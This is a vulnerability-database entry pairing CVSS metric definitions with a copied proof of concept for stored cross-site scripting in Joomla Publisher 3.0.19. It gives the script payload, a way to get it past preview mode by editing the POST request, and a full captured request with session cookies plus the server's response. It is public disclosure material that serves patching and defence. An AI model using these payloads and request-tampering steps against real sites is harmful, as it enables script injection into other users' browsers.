The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Joomla Publisher V 3.0.19 Stored XSS
# Exploit Title: Joomla Publisher V 3.0.19 Stored XSS
# Date: 03.11.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://publisher.ijoomla.com/demo
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest.vincent.blogspot.com/
# PoC: https://pentestvincent.blogspot.com/2020/11/joomla-publisher-v-3019-stored-xss.html
Poc:
We have stored xss and stored html injection in Publisher v 3.0.19.
I put there is one interesting method in the body "Article" with Method Post.
Create article and put simple xss code :
""> <script>alert("Hello") </script>
And click "submit article".
XSS code is works..
https://ijoomlademo.com/administrator/index.php?option=com_publisher&controller=articles
https://imgur.com/a/ylpLcJV
https://imgur.com/a/XHNHp4c
But it doesn't work in preview mode.
https://imgur.com/a/1BG07Mn
The administrator can check articles in preview mode. What do we do?
Let's use the addon in the firefox "HTTP Live Headers" and change our article with the Post Method.
""><script>alert("Hello")</script><body background="https://pbs.twimg.com/media/D_dG89lXkAAU8P4.png">
Open Http Live Headers, Edit Article, Save this and Change Post Request and send this.
https://imgur.com/a/ogpYEGf
Let's see what we have in preview mode.
https://imgur.com/a/QvQZNNw
https://imgur.com/a/Vzjxfpd
..................................................................................
https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32
Host: ijoomlademo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 341
Origin: https://ijoomlademo.com
Connection: keep-alive
Referer: https://ijoomlademo.com/index.php/publisher/my-articles/articlesedit/core_joomla/32
Cookie: __cfduid=dbbb4e38c58b733c11296ba0adf86aee61604442214; c1095a90cabfb304b8e3637676e86d5a=91ionv40vq50bcapv23954o6kn; 4681557252fe8ff3df4a28d60cb41dc7=lpulqnuggmo1p7cs806stm6t5s; joomla_user_state=logged_in; currentURI=https%3A%2F%2Fijoomlademo.com%2Findex.php%3Foption%3Dcom_community%26view%3Dfriends%26task%3DajaxAutocomplete%26allfriends%3D1
Upgrade-Insecure-Requests: 1
title=test&heading=test&cat_id=8&content=<p>""><script>alert("Hello")</script><br></p>&id=32&controller=articlesedit&option=com_publisher&editor_name=&task=store&authid=231&media=&type=core_joomla&article_id=28&mandatory_status=approved&article_status=1&edit_a=1&edit_s=approved
POST: HTTP/2.0 303 See Other
date: Tue, 03 Nov 2020 22:32:40 GMT
content-type: text/html; charset=utf-8
x-powered-by: PHP/7.2.33
p3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
location: /index.php/publisher/my-articles/articlesedit/32
expires: Wed, 17 Aug 2005 00:00:00 GMT
last-modified: Tue, 03 Nov 2020 22:32:40 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
cf-cache-status: DYNAMIC
cf-request-id: 0631d6bb1e00000057b093c000000001
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=4BKJ9XaQXZogqrRC4jLDlbWNJ3lklLos6kkmngfBver4wHRDvpbqrVk89c6FtvKZHPe8wAmywNqRUdxp2zDfVbi9ajV4PStFG5DOdB7MvvA%3D"}],"group":"cf-nel","max_age":604800}
nel: {"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 5ec98d71cf160057-DME
X-Firefox-Spdy: h2
..................................................................................
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